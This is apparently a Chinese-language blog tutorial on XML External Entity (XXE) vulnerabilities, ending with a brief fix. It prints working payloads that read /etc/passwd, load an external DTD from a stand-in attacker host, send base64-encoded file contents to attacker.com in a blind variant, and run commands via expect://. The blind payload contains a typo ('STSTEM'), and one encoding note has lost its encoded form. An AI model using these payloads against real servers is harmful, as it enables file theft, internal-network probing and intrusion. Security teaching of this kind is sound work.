本文基于署名-非商业性使用 4.0 国际 (CC BY-NC 4.0)发布,转载请注明出处。
当解析XML文档并且XML parser未对外部实体做过滤的话就会产生XXE的漏洞。只要被服务端解析的XML是不可信的,那么都应该注意XXE带来的风险,常见的应用场景包括Office文档(OOXML)预览、富文本编辑器、XML文件导入等等
一个最简单的xml文档大概长这样..
<?xml version="1.0"?>
<foo>
<bar>
<name>Just a demo.</name>
</bar>
</foo>
最简单的xxe
一个最简单的XXE的payload大概长这样:
<?xml version="1.0"?>
<!DOCTYPE aaaaaaa[<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>
<bar>
<name>Just a demo.&xxe;</name>
</bar>
</foo>
<!DOCTYPE aaaa[<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
上面这一行是声明了一个名字叫"xxe"的外部实体,外部实体的内容是/etc/passwd文件的内容,这种声明方式叫内部声明DTD的形式,对实体元素的声明在[]之间。然后
<name>Just a demo.&xxe;</name>
这一行引用名字叫xxe的实体,把实体的值加到demo.后面解析出来。
引用外部DTD声明
还有一种声明方式是引用外部的DTD,比如可以把上面的
<!ENTITY xxe SYSTEM "file:///etc/passwd">
单独拿出来放在攻击者的服务器上,比如像下面这样从外部DTD引入实体
<!DOCTYPE dtd SYSTEM "http://attacker.com/evil.dtd">
最终的效果和一开始的那种是一样的
外部DTD除了用SYSTEM关键字引入之外还可以使用PUBLIC关键字引入。
Blind XXE
如果服务器不给出XML解析结果的回显呢?
那就把外部实体的值发到攻击者的服务器上,像 XSS 那样。
这里需要用到一个叫做参数实体的东西,参数实体和其他实体有一点不同,它只能在<!DOCTYPE ANYTHING[这里]>
被引用
payload的格式大概像这样:
<!DOCTYPE ANYTHING[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % foo "<!ENTITY % send STSTEM 'http://attacker.com/?file=%file;'>">
%foo;
%send;
]>
这里有几点要注意,双引号里的那个%必须要编码成%
..
命令执行
这个对服务端环境有要求,如果运气很好遇到了这种的话..在定义外部实体的时候
<!ENTITY xxe SYSTEM "expect://who">
这样定义就好
总结
大概可以用来:
-
任意文件读取
-
命令执行(看脸)
-
SSRF(探测/攻击内网)
-
发挥你的想象力
_(:3」∠)_
修复方案
禁用外部实体或过滤关键字